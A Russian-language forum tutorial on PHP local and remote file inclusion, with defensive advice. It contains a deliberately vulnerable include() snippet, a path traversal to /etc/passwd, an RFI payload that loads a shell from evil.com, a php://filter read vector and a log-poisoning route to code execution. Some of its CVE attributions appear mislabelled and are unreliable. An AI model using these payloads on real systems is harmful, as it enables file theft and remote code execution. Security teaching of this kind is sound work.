Добро пожаловать на BlackSAMP - ФОРУМ

  • Приватные и секретные разделы доступны только зарегистрированным пользователям.

    Вся важная информация в нашем ТГ: t.me/gtablack

    На данном форуме запрещено публиковать контент нарушающий Российское законодательство, за это последует блокировка ФА.

Уязвимость LFI/RFI — чтение файлов и RCE через инклюды

Количество просмотров: 25

IlyaMarkinV

Редактор
Редактор
Регистрация
13 Июн 2025
Сообщения
26
Реакции
1
Баллы
3
Что такое LFI/RFI?
LFI (Local File Inclusion) и RFI (Remote File Inclusion) — уязвимости, позволяющие включать произвольные файлы в веб-приложение:
• LFI - локальные файлы сервера
• RFI - внешние файлы по URL

Как работает уязвимость?
Когда приложение динамически подключает файлы без должной проверки:

Уязвимый PHP-код:
Код:
<?php
$page = $_GET['page'];
include($page . '.php');
?>

Атаки:
1. LFI:
Код:
?page=../../../../etc/passwd%00
2. RFI:
Код:
?page=http://evil.com/shell.txt

Чем опасны LFI/RFI?
• Чтение конфиденциальных данных (пароли, логины)
• Получение RCE через:
- Логи (log poisoning)
- Загрузку PHP-шеллов (RFI)
- /proc/self/environ
• Обход аутентификации

Как обнаружить?
1. Ищите параметры типа:
?page=, ?file=, ?load=, ?path=
2. Попробуйте базовые векторы:
-
Код:
../../../../etc/passwd
-
Код:
php://filter/convert.base64-encode/resource=index.php
3. Проверьте RFI (если allow_url_include=On)

Эволюция атак LFI→RCE
1. Чтение файлов: /etc/passwd
2. Чтение кода: php://filter
3. Внедрение в логи: /var/log/apache2/access.log
4. Выполнение кода: через User-Agent

Методы защиты
• Отключить allow_url_include
• Использовать белые списки для инклюдов
• Запретить null-byte (%00)
• Хранить файлы вне корневой директории

Реальные примеры (CVE)
• CVE-2019-11043 — LFI в PHP-FPM
• CVE-2018-9206 — RFI в jQuery File Upload
• Уязвимости в старых CMS (Joomla, WordPress)

Важно: Всегда тестируйте только с разрешения владельца системы![/b]
 
Сверху Снизу